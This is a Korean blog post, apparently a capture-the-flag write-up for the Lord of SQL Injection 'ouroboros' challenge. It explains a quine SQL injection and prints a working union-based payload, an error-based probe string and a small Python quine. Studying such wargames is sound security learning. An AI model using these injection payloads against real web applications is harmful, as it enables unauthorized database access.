id도 없고.. 그냥 pw 하나 뿐인 당황스러운 문제...
?pw=' or if(length(pw)=0, 9e307*2, 0)%23 로도 에러 창을 확인했지만 에러창이 따로 뜨지 않았다.
중요한 걸 간과했다.
컬럼이 하나밖에 없는데 데이터가 하나도 출력 안 된 것을 알 수 있다.
즉, 디비에 데이터가 없다.
그렇다면 $_result[pw]와 $_GET[pw]가 같기만 하면 된다.
Quine SQL injection
Quine은 소스코드를 그대로 출력하는 프로그램이다.
pw=a' union SELECT REPLACE(REPLACE('a" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'a" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#
https://go-madhat.github.io/ouroboros-writeup/
[Lord of SQL Injection] LoS - ouroboros 문제풀이
얼마 전 LOS를 올클했다. 그런데 문제중에 하나가 굉장히 신박했었어서 여기에 적어두려고 한다.
go-madhat.github.io
python quine code
s = 's = %r\nprint(s%%s)'
print(s%s)
'워게임 > LOS' 카테고리의 다른 글
alien (!sleep(1)&&now()%2=1) (0) | 2021.10.10 |
---|---|
zombie(quine대신 quine하기) (0) | 2021.10.10 |
phantom(서브쿼리) (0) | 2021.10.09 |
frankenstein(error based sqli) (0) | 2021.10.09 |
blue_dragon(time based sql injection) (0) | 2021.10.09 |
댓글